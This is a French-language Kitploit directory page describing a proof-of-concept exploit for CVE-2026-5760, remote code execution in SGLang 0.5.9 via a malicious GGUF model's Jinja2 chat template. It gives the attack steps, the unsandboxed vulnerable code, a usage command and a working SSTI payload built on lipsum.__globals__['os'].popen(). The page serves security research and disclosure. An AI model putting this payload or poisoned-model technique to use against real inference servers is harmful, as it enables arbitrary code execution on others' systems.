Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SGLang-0.5.9-RCE — Preuve de concept d'exploitation de CVE-2026-5760 - RCE dans SGLang 0.5.9 via un GGUF malveillant | Kitploit
Outils/GitHubGitHub/stuub/sglang-0.5.9-rce
Génération de PayloadsAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation
GitHubstuub/sglang-0.5.9-rce

SGLang-0.5.9-RCE

Preuve de concept d'exploitation de CVE-2026-5760 - RCE dans SGLang 0.5.9 via un GGUF malveillant

Voir le dépôt
52il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SGLang SSTI vers RCE PoC — Rendu non sandboxé du template de chat Jinja2 (CVE-2026-5760)

Exécution de code à distance via injection de templates côté serveur (SSTI) dans le point de terminaison de re-ranking de SGLang. Un fichier de modèle GGUF malveillant avec un tokenizer.chat_template contrefait permet d'exécuter du code arbitraire lorsqu'il est chargé dans SGLang et que le point de terminaison /v1/rerank est appelé.

Fonctionnalités

En tirant parti d'une vulnérabilité de sévérité critique dans SGLang grâce au rendu non sandboxé de templates Jinja2. Le point de terminaison de re-ranking de SGLang (/v1/rerank) rend les templates de chat fournis par le modèle en utilisant jinja2.Environment() au lieu de ImmutableSandboxedEnvironment, permettant à un modèle malveillant d'exécuter du code Python arbitraire sur le serveur d'inférence.

Il s'agit de la même classe de vulnérabilité que CVE-2024-34359 (« Llama Drama ») qui affectait llama-cpp-python.

Étapes de l'attaque

  1. L'attaquant crée un fichier de modèle GGUF avec un tokenizer.chat_template malveillant contenant une charge utile SSTI Jinja2
  2. Le template inclut la phrase déclencheuse du re-ranker Qwen3 pour activer le chemin de code vulnérable dans serving_rerank.py
  3. La victime télécharge et charge le modèle dans SGLang (par exemple, depuis HuggingFace)
  4. Lorsqu'une requête atteint /v1/rerank, SGLang lit le chat_template et le rend avec jinja2.Environment() — sans sandbox
  5. La charge utile SSTI exécute du code Python arbitraire sur le serveur

Code vulnérable

Fichier : python/sglang/srt/entrypoints/openai/serving_rerank.py

root@kitploit:~
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
    return jinja2.Environment(           # <-- Should be ImmutableSandboxedEnvironment
        loader=jinja2.BaseLoader(),
        autoescape=False,
        undefined=jinja2.Undefined,
    )

Utilisation

Le PoC génère un fichier GGUF malveillant et démontre l'exécution de code via le chemin de rendu non sandboxé de SGLang.

root@kitploit:~
python3 exploit.py "id"

Passez n'importe quelle commande shell en argument — par défaut id.

Charge utile SSTI

Le template de chat malveillant intégré dans le fichier GGUF :

root@kitploit:~
MALICIOUS_TEMPLATE = (
    'The answer can only be "yes" or "no".\n'
    '{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
    '{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
  • La phrase déclencheuse (The answer can only be "yes" or "no") est requise pour activer la détection du re-ranker Qwen3 de SGLang, routant la requête à travers le chemin vulnérable _render_jinja_chat_template().
  • lipsum.__globals__["os"].popen() s'échappe du contexte Jinja2 pour exécuter des commandes OS arbitraires.

Références

  • CVE-2026-5760
  • CVE-2024-34359 — Même classe de vulnérabilité dans llama-cpp-python
  • CVE-2025-61620 — DoS dans vLLM via les templates de chat (même surface d'attaque)
  • GitHub de SGLang
  • CWE-1336 : Neutralisation inappropriée d'éléments spéciaux utilisés dans un moteur de templates
  • CWE-94 : Contrôle inapproprié de la génération de code

Avertissement

Cet outil est destiné uniquement à la recherche en sécurité autorisée et à des fins éducatives. Utilisez-le de manière responsable.

Télécharger l’outil